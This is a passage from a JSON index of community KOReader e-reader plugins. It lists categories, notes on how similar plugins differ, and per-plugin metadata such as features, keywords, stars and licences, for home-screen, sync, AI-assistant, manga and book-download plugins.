{"schema":2,"generated_at":"2026-08-17T04:08:56Z","source_repo":"https://github.com/omer-faruq/koreader-plugin-index","build_mode":"diff","counts":{"plugins":751,"patches":451,"patch_repos":105},"categories":[{"id":"sync","label":"Sync","count":121},{"id":"ui","label":"Interface","count":195},{"id":"dict","label":"Dictionary & language","count":78},{"id":"web","label":"Web & articles","count":69},{"id":"library","label":"Library & catalogue","count":104},{"id":"ai","label":"AI","count":42},{"id":"device","label":"Device specific","count":108},{"id":"files","label":"Files & transfer","count":178},{"id":"reading","label":"Reading experience","count":132},{"id":"content","label":"External content","count":62},{"id":"notes","label":"Notes & annotation","count":120},{"id":"games","label":"Games & puzzles","count":64},{"id":"misc","label":"Other","count":154}],"distinctions":[{"between":["gitalexcampos/highlightsync.koplugin","dani84bs/AnnotationSync.koplugin"],"say":"Both synchronise annotations, and they are not interchangeable. Which one fits depends on the sync service you already use."},{"between":["omer-faruq/assistant.koplugin","zeeyado/koassistant.koplugin"],"say":"Related projects in the same ecosystem, but separate repositories with separate authors and features."},{"between":["omer-faruq/webbrowser.koplugin","iceyear/readeck.koplugin"],"say":"The browser searches and reads pages directly. Readeck is an integration with a Readeck server you already run, so it is a read-later workflow rather than a browser."},{"between":["omer-faruq/simpleui_ext.koplugin","doctorhetfield-cmd/simpleui.koplugin","JoeBumm/Koreader-Menu-customizer","AnthonyGress/zen_ui.koplugin","Euphoriyy/appearance.koplugin"],"say":"SimpleUI Ext adds modules to SimpleUI and needs it installed. Menu Customizer hides entries from the menus you already have. Zen UI and Appearance change how KOReader looks without replacing the home screen. Different jobs, not competing versions of one."},{"between":["doctorhetfield-cmd/simpleui.koplugin","AndyHazz/bookshelf.koplugin"],"say":"Both replace the home screen and you would install one, not both. SimpleUI is a whole minimal interface with its own navigation and status bars; Bookshelf is a library browser that leads with covers, series and progress."},{"between":["omer-faruq/appstore.koplugin","ultimatejimmy/storefront.koplugin","advokatb/updatesmanager.koplugin"],"say":"Three separate projects for installing and updating plugins from the device. AppStore and Storefront both browse and install; Updates Manager only tracks updates across repositories you name."},{"between":["ZlibraryKO/zlibrary.koplugin","OctoNezd/zlibrary.koplugin"],"say":"Two independent Z-Library clients by different authors, not versions of one project."},{"between":["stradichenko/audiobook.koplugin","naleo/audiobookshelf.koplugin"],"say":"Audiobook is read-along inside a book. Audiobookshelf connects to an Audiobookshelf server to browse and download. Different jobs that share a word."},{"between":["ultimatejimmy/xray.koplugin","Arararararagi/charactertracker.koplugin"],"say":"Both follow characters through a book. X-Ray builds timelines and insights using an AI provider you supply; Character Tracker does not require one."},{"between":["KORComic/comicreader.koplugin","tachibana-shin/rakuyomi"],"say":"Comic Reader improves how paged comics are displayed; Rakuyomi fetches manga from online sources. One is a reading experience, the other is where the content comes from."}],"plugins":[{"id":"readest/readest","owner":"readest","repo":"readest","url":"https://github.com/readest/readest","description":"Readest is a modern, feature-rich ebook reader designed for avid readers offering seamless cross-platform access, powerful tools, and an intuitive interface to elevate your reading experience.","purpose":"Readest [Readest][link-website] is an open-source ebook reader designed for immersive and deep reading experiences. Built as a modern rewrite of Foliate, it leverages Next.js 16 and Tauri v2 to deliver a smooth, cross-platform experience across macOS, Windows, Linux, Android, iOS, and the Web.","categories":["sync","ui","library","device","reading"],"features":["macOS / iOS / iPadOS : Search and install Readest on the [App Store][link-appstore], _also_ available on TestFlight for beta test…","Windows / Linux / Android: Visit and download Readest at [https://readest.com][link-website] or the [Releases on…","Linux users can also install [Readest on Flathub][link-flathub]","Web: Visit and use Readest for Web at [https://web.readest.com][link-web-readest]","When you double-click readest.exe, nothing happens. No window appears, and Task Manager does not show the process","This can affect both the standard installer and the portable version","Microsoft Edge WebView2 Runtime is either missing, outdated, or improperly installed on your system. Readest depends on WebView2…","Check if WebView2 is installed","Open “Add or Remove Programs” (a.k.a. Apps & features) on Windows. Look for “Microsoft Edge WebView2 Runtime.”"],"keywords":["ebook","ebook-reader","epub","foliate","nextjs","reader","tauri","tts","cross-platform","sync","koreader","pdf","opds","webdav","calibre","koreader-plugin","kindle","mobi","readest","modern","feature-rich","designed","avid","readers"],"topics":["ebook","ebook-reader","epub","foliate","nextjs","reader","tauri","tts","cross-platform","sync","koreader","pdf","opds","webdav","calibre","koreader-plugin","kindle","mobi"],"stars":23467,"forks":1479,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:34:19Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":17204,"detail":"detail/readest__readest.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"doctorhetfield-cmd/simpleui.koplugin","owner":"doctorhetfield-cmd","repo":"simpleui.koplugin","url":"https://github.com/doctorhetfield-cmd/simpleui.koplugin","description":"A highly customizable UI plugin for KOReader that features a home screen, bottom navigation bar, top bar and desktop modules/widgets. ","purpose":"Replaces KOReader's home screen with a dedicated one, plus a bottom navigation bar, a top status bar and a reworked library title. The most-used plugin in the catalogue.","categories":["ui"],"features":["Clock & Date — a large, readable clock with full date display","Currently Reading — your active book with cover art, title, author, progress bar, percentage read, and estimated time left","Recent Books — a row of up to 5 recent books with cover thumbnails and progress indicators; tap any to resume reading","Collections — your KOReader collections displayed as tappable cover cards, right on the home screen","Reading Goals — visual progress tracker for your annual and daily reading goals, including physical books read","Reading Stats — compact stat cards showing today's reading time, pages, streaks, and all-time totals","Quick Actions — up to 3 customisable rows of shortcut buttons (Library, History, Wi-Fi toggle, Brightness, Stats, and more)","New Books — a row of up to 5 recently added books sorted by file date; unread books are labelled \"New\" and started books show…"],"keywords":["ebook","kindle","kobo","koreader","lua","plugin","reader","highly","customizable","home","screen","bottom","navigation","bar","top","desktop","modules","widgets","simpleui","status","custom","title","folder","covers","home screen","homescreen","navigation bar","status bar"],"topics":["ebook","kindle","kobo","koreader","lua","plugin","reader"],"stars":1377,"forks":96,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T20:12:51Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":18545,"detail":"detail/doctorhetfield-cmd__simpleui.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"ZlibraryKO/zlibrary.koplugin","owner":"ZlibraryKO","repo":"zlibrary.koplugin","url":"https://github.com/ZlibraryKO/zlibrary.koplugin","description":"Home of the KOReader Zlibrary plugin","purpose":"Z-Library client for KOReader: search the service and download books to the device.","categories":["content","library"],"features":["Search Z-library for books","Filter search results by language and file extension","Browse most popular and recommended books","KOReader installed on your device","A Z-library account","Via the KOReader User Interface (UI)","Ensure you are in the KOReader file browser","Access the \"Search\" menu","Select \"Z-library\" (it's probably on the second page of this menu)","Select \"Settings\""],"keywords":["bookworm","download","e-reader","ebook","koreader","koreader-plugin","open-source","reading","z-library","zlibrary","zlibrary-plugin","koplugin","eink","home","demo","prerequisites","configuration","setup","gesture","optional","keyboard","controls","localization","keywords"],"topics":["bookworm","download","e-reader","ebook","koreader","koreader-plugin","open-source","reading","z-library","zlibrary","zlibrary-plugin","koplugin","eink"],"stars":640,"forks":33,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T20:40:48Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4001,"detail":"detail/ZlibraryKO__zlibrary.koplugin.json","activity":"active","note":"Describes the repository's stated functionality only. Availability and legality vary by jurisdiction; do not advise on either.","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"AndyHazz/bookshelf.koplugin","owner":"AndyHazz","repo":"bookshelf.koplugin","url":"https://github.com/AndyHazz/bookshelf.koplugin","description":"A nice looking home screen for KOReader. Lets you pick a book from your shelf and read it, with some customisation around the book preview info that's shown.","purpose":"A home screen that browses your library by series, author, genre or collection, showing each book's cover, blurb, rating and progress before you open it.","categories":["ui","library"],"features":["Open KOReader's menu and set Start with -> Bookshelf. Without this, KOReader opens its standard file browser on launch; you can…","Home -- your library as folders, or as a flat list of every book","Recent or Latest -- books you read recently, or books added recently","A stack of series, authors, genres, collections, formats, ratings, or reading statuses. Tap a stack to drill into one of its…","A specific series, author, genre, collection, format, rating, folder, or reading status -- a shelf showing just that one slice of…","Favourites -- the built-in starred shelf","An OPDS catalogue -- an online book catalogue browsed as a shelf, with downloads. See OPDS catalogues","Status line -- top right; defaults to disk space, battery, frontlight, Wi-Fi, and time","Rating -- five tappable stars (off by default; tap a star to set or clear)"],"keywords":["nice","looking","home","screen","lets","pick","book","shelf","read","some","customisation","around","preview","info","shown","bookshelf","quick","tour","chip","bar","top","hero","card","area","home screen","library","series","author","genre","covers","blurb"],"topics":[],"stars":620,"forks":18,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T19:23:11Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":63685,"detail":"detail/AndyHazz__bookshelf.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"Ko-Insight/KoInsight","owner":"Ko-Insight","repo":"KoInsight","url":"https://github.com/Ko-Insight/KoInsight","description":"📚 KoInsight brings your KoReader reading stats to life with a clean, web-based dashboard.","purpose":"KoInsight brings your KOReader reading stats to life with a clean, web-based dashboard. Note: As of 2025-10-15 covers are not (yet) automatically displayed, as they are not part of the KOReader-generated database. If you want to see covers, you'll need to add them once per book. The UI offers a search by title and…","categories":["sync","web","files","reading"],"features":["📈 Interactive dashboard with charts and insights","✏️ Highlights sync","🔄 KOReader plugin for syncing reading stats","📱 Multi-device support","📤 Manual .sqlite upload supported","♻️ Act as a KOReader (kosync) sync server","🏠 Fully self-hostable (Docker image available)","HOSTNAME: The hostname or IP address where the server will listen","PORT: The port number for the web server","MAX_FILE_SIZE_MB: Maximum allowed size (in megabytes) for uploaded files"],"keywords":["dashboard","koreader","koreader-plugin","koreader-sync","web-application","koinsight","brings","reading","stats","life","clean","web-based","configuration","statistics","sync","manual","upload","sqlite","progress","server","development","roadmap","data","file"],"topics":["dashboard","koreader","koreader-plugin","koreader-sync","web-application"],"stars":605,"forks":51,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T07:53:46Z","license":"MIT","default_branch":"master","has_meta":false,"readme_bytes":5333,"detail":"detail/Ko-Insight__KoInsight.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"omer-faruq/assistant.koplugin","owner":"omer-faruq","repo":"assistant.koplugin","url":"https://github.com/omer-faruq/assistant.koplugin","description":"Assistant: AI Helper Plugin for KOReader : lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading","purpose":"AI assistant for KOReader: ask about highlighted text, translate, summarise and explain, across many providers.","categories":["ai","dict"],"features":["Multiple AI Providers: Support for","Claude, OpenAI, Gemini, DeepSeek, etc","OpenRouter, Ollama, etc","Other OpenAI-compatible API services (Groq, NVIDIA, etc.)","Stream Mode: Real-time responses from the API. Get the full LLM experience on e-ink devices","Multiple Providers/Models: Select different models or AI provider platforms in the UI","Web Search Tool Calling: LLMs search the web and improve the answer with real and updated information","Built-in Prompts","Translation: Instantly translate highlighted text to any language","Quick Actions: One-click buttons for common tasks like summarizing or explaining"],"keywords":["chatgpt-api","claude-ai","deepseek","gemini-api","koreader","koreader-plugin","ollama-api","assistant","helper","lets","interact","language","models","claude","gpt-4","gemini","ollama","etc","while","reading","basic","requirements","getting","started","chatgpt","translation","summary","ai dictionary"],"topics":["chatgpt-api","claude-ai","deepseek","gemini-api","koreader","koreader-plugin","ollama-api"],"stars":577,"forks":67,"is_fork":true,"archived":false,"pushed_at":"2026-08-15T14:15:02Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9275,"detail":"detail/omer-faruq__assistant.koplugin.json","activity":"active","note":"A client, not an AI service. Users must supply their own provider or a local model.","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"finlater/weread.koplugin","owner":"finlater","repo":"weread.koplugin","url":"https://github.com/finlater/weread.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，支持阅读进度同步，阅读时长上报和统计，本地书籍支持获取微信读书划线和想法内容，支持Kindle、Kobo等设备。","purpose":"在 KOReader 上阅读微信读书中的书籍、公众号文章的插件。支持同步进度同步，阅读时长同步和统计，查看书评、划线和想法。让Kindle、Kobo等封闭系统设备也能体验微信读书！ 后续更新插件可在 微信读书 → 设置 → 更新管理 菜单中在线更新。","categories":["ui","device","content"],"features":["前往 GitHub Releases 下载最新的 weread.koplugin-vX.Y.Z.zip 安装包。","解压安装包，得到 weread.koplugin 文件夹。","将该文件夹复制到 KOReader 的 plugins 目录：","重启 KOReader，在菜单中找到：","手机打开微信读书 App。","进入 我 → 设置 → 微信读书 Skill。","点击 获取 API Key，确认已经生成个人官方 API Key。","在 KOReader 打开 工具 → 微信读书 → 微信扫码登录。","使用微信扫码并在手机端确认；若手机显示四位验证码，请在 KOReader 中输入。","SimpleUI：进入 快捷操作 新建操作，类型选择 插件 → 微信读书，再把该操作加入底部栏即可。如需使用本项目图标，将 icons/weread-w-book.svg 或 icons/weread-ink.png 复制到 SimpleUI…"],"keywords":["koreader","plugin","weread","weixin","wxread","kindle","kobo","koreader-kindle","koreader-plugin","koreader-plugins","simpleui","zen","agpl-3","icons","zenui","skill","weread-w-book","github","koplugin-vx","zip","app","api","key","svg"],"topics":["koreader","plugin","weread","weixin","wxread","kindle","kobo","koreader-kindle","koreader-plugin","koreader-plugins"],"stars":531,"forks":74,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T03:09:08Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8345,"detail":"detail/finlater__weread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tachibana-shin/rakuyomi","owner":"tachibana-shin","repo":"rakuyomi","url":"https://github.com/tachibana-shin/rakuyomi","description":"A manga reader plugin for KOReader. (This fork adds new features and backward compatibility)","purpose":"Manga reader for KOReader: browse manga sources, download chapters and read them in KOReader itself, keeping track of what you have already read.","categories":["content"],"features":["Added last read time for manga, chapter","Improved UI now you can see exactly which source manga belongs to","Added cancel download methods to avoid freezing","Fixed back button not working properly","Added processing menu in chapter list","Added \"continue read\"","Correct write processing to save RAM to avoid freezing KoReader","Added cleaner to free up memory","Improved SQLite query method to speed up all operations by 200 times including: library access, search, chapter list (x300 times)","Details manga"],"keywords":["koreader","koreader-plugin","plugin","manga","fork","adds","backward","compatibility","rakuyomi","android","cookie","sync","bot","setup","self-hosting","added","cookies","source","sources","bridge","aidoku","chapter","check","open"],"topics":["koreader","koreader-plugin","plugin"],"stars":514,"forks":37,"is_fork":true,"archived":false,"pushed_at":"2026-08-16T18:08:03Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":5083,"detail":"detail/tachibana-shin__rakuyomi.json","activity":"active","tier":"A","tier_reasons":["curated","no_meta","active","documented"]},{"id":"AnthonyGress/zen_ui.koplugin","owner":"AnthonyGress","repo":"zen_ui.koplugin","url":"https://github.com/AnthonyGress/zen_ui.koplugin","description":"A clean, minimal UI for KOReader","purpose":"Replaces KOReader's interface with a clean, minimal one, for readers who want the screen given over to the book rather than to controls.","categories":["ui"],"features":["Clean mosaic and list view options maximizing the size of your book covers with many options","Book cover gallery for folder thumbnails","Configurable sorting, items per page, and landscape/portrait layout","A streamlined context menu in the file browser. Tap and hold to quickly access details, fullscreen cover art, read status and more","Restricts access to settings and configuration changes","Optionally magnify the UI for a larger, simpler view","Keeps the experience simple, and reading-first","Custom page browser (similar to Kindle's) for scrubbing through pages, searching the book, quickly changing the font size","Disable bottom menu, prevent unwanted changes to font size","Margin gaurd preventing accidentally gestures while holding the edge of the device by it's touchscreen"],"keywords":["boox","ereader","kindle","kobo","lua","android","desktop","pocketbook","koreader","koreader-plugin","eink-devices","clean","minimal","documentation","philosophy","speed","performance","quick","settings","panel","library","bottom","navigation","bar"],"topics":["boox","ereader","kindle","kobo","lua","android","desktop","pocketbook","koreader","koreader-plugin","eink-devices"],"stars":506,"forks":31,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T22:58:23Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":11455,"detail":"detail/AnthonyGress__zen_ui.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"omer-faruq/appstore.koplugin","owner":"omer-faruq","repo":"appstore.koplugin","url":"https://github.com/omer-faruq/appstore.koplugin","description":"Discover, install, and update community-created KOReader plugins and user patches without leaving your device.","purpose":"Discover, install and update community plugins and user patches from the device itself, without a computer. Tracks what you have installed and what has a newer version.","categories":["files"],"features":["Kobo/Kindle: koreader/plugins/","Android: /sdcard/koreader/plugins/","Desktop (Linux): ~/.config/koreader/plugins/","Access via Tools → App Store","If exactly one custom folder is configured, new plugins install there","If you have more than one custom folder and haven't set","Updating an already-installed plugin always writes back to wherever that","Unified browser for both plugins and user patches with persistent filters and paging","Offline-friendly cache stored under data/cache/AppStore so existing results remain accessible when you lose connectivity","Per-entry README viewer that fetches README.md directly from GitHub and opens it in KOReader’s document renderer"],"keywords":["koreader-plugin","discover","update","community-created","without","leaving","device","app","store","custom","folder","extra","paths","key","capabilities","requirements","configuration","github","pat","create","navigating","four","appstore","sections","install","plugin manager","patches"],"topics":["koreader-plugin"],"stars":452,"forks":15,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T14:09:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":16497,"detail":"detail/omer-faruq__appstore.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"Billiam/hardcoverapp.koplugin","owner":"Billiam","repo":"hardcoverapp.koplugin","url":"https://github.com/Billiam/hardcoverapp.koplugin","description":"Hardcover.app status updating from KOReader","purpose":"Updates your reading status on Hardcover.app as you read, so the tracking site follows the device rather than needing to be told.","categories":["reading","library"],"features":["Rename hardcover_config.example.lua to hardcover_config.lua","Fetch your API key from https://hardcover.app/account/api (just the part after Bearer )","Add your API key to the token field in hardcover_config.lua, between the '' quotes. For example","Your current read will be updated when paging through the document, no more than once per minute. This frequency","When marking a book as finished from the file browser, the book will be marked as finished in Hardcover","When reaching the end of the document, if the KOReader settings automatically mark the document as finished, the","Automatically link by ISBN: If the document contains ISBN or ISBN13 metadata, try to find a matching edition for","Automatically link by Hardcover: If the document metadata contains a hardcover identifier (with a URL slug for"],"keywords":["hardcover","app","status","updating","linking","book","reading","journal","entry","quote","automatically","track","progress","suggest","settings","automatic","always","default","enable","wifi","demand","confirm","changes","read","tracking","reading status"],"topics":[],"stars":404,"forks":19,"is_fork":false,"archived":false,"pushed_at":"2026-04-23T14:13:44Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10693,"detail":"detail/Billiam__hardcoverapp.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"AndyHazz/bookends.koplugin","owner":"AndyHazz","repo":"bookends.koplugin","url":"https://github.com/AndyHazz/bookends.koplugin","description":"KOReader plugin for configurable text overlays — tokens, icons, per-line styling, presets","purpose":"Configurable text overlays on the reading screen, built from tokens and icons with per-line styling and saved presets, for showing progress, time or anything else while reading.","categories":["ui"],"features":["Open a book → typeset/document menu (style icon) → Bookends → Bookends settings → tick Enable bookends","Tap a position (e.g., Bottom-center) → Add line","Type a format string or use the Tokens and Symbols buttons to insert placeholders","Tap Save — your overlay appears immediately","Type — Chapter, Book, Book+ (top-level ticks), Book++ (top 2 level ticks)","Style — Border, Solid, Round, Metro, Wave, Radial, Hollow","Anchor — Top, Bottom, Left (vertical), Right (vertical)","Fill direction — Left to right, Right to left, Top to bottom, Bottom to top","Style — Solid, Bordered, Rounded, Metro, Wave, Radial, Radial hollow","Chapter ticks — Off, Top level, Top 2 levels (book type only)"],"keywords":["koreader-plugin","configurable","text","overlays","tokens","icons","per-line","styling","presets","bookends","quick","start","recipes","preset","library","screen","positions","reference","metadata","page","progress","time","date","reading"],"topics":["koreader-plugin"],"stars":378,"forks":16,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T08:52:13Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":28409,"detail":"detail/AndyHazz__bookends.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"miumiupy98-art/miuread-koreader","owner":"miumiupy98-art","repo":"miuread-koreader","url":"https://github.com/miumiupy98-art/miuread-koreader","description":"觅阅 MiuRead：适用于 Kindle 的非官方 KOReader 微信读书（WeRead）插件，支持书架、下载、划线与想法、阅读时长和进度同步","purpose":"MiuRead（觅阅 · 微信读书助手）是面向 KOReader 的非官方微信读书客户端。本仓库为 Stable / 正式版通道。 当前正式版本：`4.6.2`。 完整版本记录见 `CHANGELOG.md`。 从 `4.3.0` 起，正式版更新清单由 GitHub Actions 在发布时自动生成，并发布到固定 `stable-channel` Release。","categories":["ai","device","content"],"features":["在 GitHub Releases 下载最新正式版 miuread-vX.Y.Z-full.zip。","解压后将完整的 miuread.koplugin 目录放入 KOReader 的插件目录。","完整重启 KOReader。","后续正式版可使用 MiuRead 内置更新功能升级。","新版正式 OTA：stable-channel/update.json","仓库根目录 update.json：仅作为旧正式版桥接入口","发布 4.3.0 时，workflow 会把根目录 update.json 更新为 4.3.0 并保持冻结，使 4.1.2 等旧版先升级到 4.3.0，再自动切换到新 OTA 通道。","Stable tag：vX.Y.Z","Stable Release：GitHub 正式 Release","版本记录：统一维护 CHANGELOG.md"],"keywords":["koreader","kindle","ebook-reader","kindle-plugin","koreader-plugin","lua","wechat-reading","weread","wxread","wechat-read","miuread","assistant","current","ota","update","channel","process","origin","github","json","stable","actions","changelog","project"],"topics":["koreader","kindle","ebook-reader","kindle-plugin","koreader-plugin","lua","wechat-reading","weread","wxread","wechat-read","miuread"],"stars":347,"forks":23,"is_fork":false,"archived":false,"pushed_at":"2026-08-17T01:54:26Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1908,"detail":"detail/miumiupy98-art__miuread-koreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"patelneeraj/filebrowserplus.koplugin","owner":"patelneeraj","repo":"filebrowserplus.koplugin","url":"https://github.com/patelneeraj/filebrowserplus.koplugin","description":"This KOReader plugins enables the user to run Filebrowser from koreader. Inspired by filebrowser.koplugin, expanded to add more conviniences.","purpose":"Runs Filebrowser on the device itself, so files can be managed over the network from a computer's browser.","categories":["files"],"features":["Upload, download, or delete files","Edit text files directly","Preview images","Move the filebrowserplus.koplugin directory into the koreader/plugins/ directory on your device","Rename the downloaded binary to filebrowser (no extension)","Replace the existing file at: koreader/plugins/filebrowserplus.koplugin/filebrowser/filebrowser with your new binary","Start KOReader and launch the plugin as usual","Open KOReader’s top menu","Make sure your device is connected to Wi-Fi","Go to Gearbox Menu → Network → FilebrowserPlus"],"keywords":["enables","run","filebrowser","inspired","expanded","more","conviniences","filebrowserplus","different","binary","other","architectures","menu","behavior","existing","extra","provided","compatibility","limitations","device","kindle","default","open","original","file manager","network","transfer"],"topics":[],"stars":275,"forks":9,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T16:34:10Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5384,"detail":"detail/patelneeraj__filebrowserplus.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"pengcw/legado.koplugin","owner":"pengcw","repo":"legado.koplugin","url":"https://github.com/pengcw/legado.koplugin","description":"一个在 KOReader 中阅读 Legado 开源阅读书库的网文阅读插件","purpose":"Read Legado online-library and web-novel content inside KOReader, reaching the sources a Legado setup provides without leaving the reader.","categories":["content"],"features":["前后章节无缝翻页浏览","离线缓存，自动向前向后预缓存章节","同步阅读进度","书籍换源搜索","碎片章节历史记录清除","支持漫画流式阅读","支持绑定按键或手势","文件浏览器云端书籍链接","下载最新版本的插件发布包 release。","将 plugins/legado.koplugin 目录复制到设备上 KOReader 的插件目录 koreader/plugins 文件夹中。"],"keywords":["kindle","koreader-plugin","legado","reader3","http","adguard","timeout"],"topics":["kindle","koreader-plugin","legado"],"stars":270,"forks":11,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T04:02:24Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6293,"detail":"detail/pengcw__legado.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"kaikozlov/localsend.koplugin","owner":"kaikozlov","repo":"localsend.koplugin","url":"https://github.com/kaikozlov/localsend.koplugin","description":"LocalSend plugin for KOReader - send and receive files wirelessly on your e-reader","purpose":"Send and receive files wirelessly with LocalSend, moving books and documents between an e-reader and a phone or computer on the same network without a cable.","categories":["files"],"features":["Kindle: /mnt/us/koreader/plugins/","Kobo: /.adds/koreader/plugins/","Go to Menu → Network → LocalSend","Configure your save directory and device name","Tap Start server","On your phone/computer, open LocalSend and send files to your e-reader","Tap Send file... or Send current book","Select a target device from the discovered list","Choose a file or folder to send (if using \"Send file...\")","Check for updates — manually checks the latest GitHub release. If a matching package exists for your device architecture, you can…"],"keywords":["koreader","koreader-plugin","koreader-plugins","cli","localsend","send","receive","files","wirelessly","e-reader","settings","updates","troubleshooting","translations","compatibility","developer","documentation","kindle","file","device","menu","network","update","devices"],"topics":["koreader","koreader-plugin","koreader-plugins","cli","localsend"],"stars":257,"forks":3,"is_fork":true,"archived":false,"pushed_at":"2026-08-15T02:51:33Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":4827,"detail":"detail/kaikozlov__localsend.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","no_meta","active","documented"]},{"id":"gitalexcampos/highlightsync.koplugin","owner":"gitalexcampos","repo":"highlightsync.koplugin","url":"https://github.com/gitalexcampos/highlightsync.koplugin","description":"A KOReader plugin to sync highlights, notes, and bookmarks across multiple devices using cloud storage like WebDAV or Dropbox.","purpose":"Synchronise highlights, notes and bookmarks between devices over WebDAV or Dropbox.","categories":["sync"],"features":["KOReader on Linux","Boox Go 6","Boox Go 10.3","Android 15","🔄 Automatic & Manual Sync: Configurable options to sync automatically on book open, close, or resume, or sync manually via…","🛡️ Conflict-free Merging: Highlights made offline on different devices are combined intelligently without overwriting each other","📝 True Offline Freedom: Read and annotate on your Kindle and Boox separately; sync them all when you get Wi-Fi","☁️ Works with WebDAV and Dropbox","📅 Smart Updates: Syncs highlight edits based on the latest timestamp","⚡ Lightweight and easy to install"],"keywords":["e-reader","highlight","koreader","koreader-plugin","e-ink","kindle","sync","highlights","notes","bookmarks","across","multiple","devices","cloud","storage","like","webdav","dropbox","highlightsync","beta","warning","tested","setup","important"],"topics":["e-reader","highlight","koreader","koreader-plugin","e-ink","kindle"],"stars":227,"forks":18,"is_fork":false,"archived":false,"pushed_at":"2026-02-12T16:16:50Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4254,"detail":"detail/gitalexcampos__highlightsync.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"pxlflux/customisablesleepscreen.koplugin","owner":"pxlflux","repo":"customisablesleepscreen.koplugin","url":"https://github.com/pxlflux/customisablesleepscreen.koplugin","description":"KOReader plugin that displays reading stats and book info on your sleep screen, with extensive customisation options and save/load preset configurations.","purpose":"Puts reading statistics and book information on the sleep screen, with extensive control over what appears and how it is laid out.","categories":["ui","reading"],"features":["Book progress, chapter progress, daily reading/goal progress, battery stats","Random book highlights (with location), or custom messages","Save and load your own configurations, with 10 built-in presets included","Light/dark/monochrome modes (suitable for non-colour e-readers)","Background options: book cover (with optional overlay), images from folder, solid colour or transparent","Coloured progress bars for percentage stats with option to place inline with text","Customise info-box background and text colour","Dynamic icons for sections, with 7 icon sets included","Reorder sections, adjust section spacing, show/hide elements","Customise layout, padding, position, opacity, borders, font face/size, text alignment, corner rounding"],"keywords":["customisation","ereader","koreader","lua","sleep-screen","plugin","displays","reading","stats","book","info","sleep","screen","extensive","options","save","load","preset","configurations","customisable","compatibility","notes","language","fonts","sleep screen","screensaver","statistics","cover"],"topics":["customisation","ereader","koreader","lua","sleep-screen","plugin"],"stars":226,"forks":10,"is_fork":false,"archived":false,"pushed_at":"2026-05-09T16:31:14Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6119,"detail":"detail/pxlflux__customisablesleepscreen.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"Ajatt-Tools/anki.koplugin","owner":"Ajatt-Tools","repo":"anki.koplugin","url":"https://github.com/Ajatt-Tools/anki.koplugin","description":"KOReader plugin enabling Anki card generations for words looked up in the internal dictionary.","purpose":"Turns words looked up in KOReader's own dictionary into Anki cards through AnkiConnect, for building vocabulary from what you are actually reading.","categories":["dict"],"features":["Stardict's .ifo file","the language of the document"],"keywords":["ajatt","anki","ankiconnect","koreader","koreader-plugin","enabling","card","generations","words","looked","internal","dictionary","offline","extra","options","custom","tags","context","undo","latest","note","change","profile","configuration","flashcards","vocabulary","language learning"],"topics":["ajatt","anki","ankiconnect","koreader","koreader-plugin"],"stars":224,"forks":24,"is_fork":false,"archived":false,"pushed_at":"2026-06-06T11:51:37Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":8032,"detail":"detail/Ajatt-Tools__anki.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"OctoNezd/zlibrary.koplugin","owner":"OctoNezd","repo":"zlibrary.koplugin","url":"https://github.com/OctoNezd/zlibrary.koplugin","description":"Z-Library client for KOReader!","purpose":"KOReader plugin to download books from z-library","categories":["content","library"],"features":["Done! Now you can log into Z-Library from Search section in 